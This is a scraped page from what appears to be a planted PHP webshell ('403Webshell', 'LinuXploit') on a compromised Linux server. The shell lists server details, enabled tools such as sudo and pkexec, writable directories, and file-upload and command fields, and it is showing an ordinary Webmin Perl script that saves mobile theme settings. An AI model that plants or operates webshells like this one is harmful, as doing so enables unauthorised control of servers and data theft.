403Webshell
Server IP : 172.67.134.114  /  Your IP : 162.159.115.41
Web Server : Apache/2.4.37
System : Linux almalinux.duckdns.org 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User : ricodeal ( 1046)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/webmin/webmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/webmin/webmin/change_mobile.cgi
#!/usr/bin/perl
# Display options specific to mobile devices

require './webmin-lib.pl';
&ReadParse();
&error_setup($text{'mobile_err'});

&lock_file($ENV{'MINISERV_CONFIG'});
&lock_file("$config_directory/config");
&get_miniserv_config(\%miniserv);

# Validate and store inputs
if ($in{'theme'} eq '*') {
	delete($miniserv{'mobile_preroot'});
	delete($gconfig{'mobile_theme'});
	}
else {
	$miniserv{'mobile_preroot'} = $in{'theme'};
	$gconfig{'mobile_theme'} = $in{'theme'};
	}
$miniserv{'mobile_nosession'} = $in{'nosession'};
$in{'agents'} =~ s/\r//g;
$miniserv{'mobile_agents'} = join("\t", split(/\n+/, $in{'agents'}));
$miniserv{'mobile_prefixes'} = $in{'prefixes'};

# Write out files
&put_miniserv_config(\%miniserv);
&unlock_file($ENV{'MINISERV_CONFIG'});
&write_file("$config_directory/config", \%gconfig);
&unlock_file("$config_directory/config");

&reload_miniserv();
&webmin_log('mobile', undef, undef, \%in);
&redirect("");



Youez - 2016 - github.com/yon3zu
LinuXploit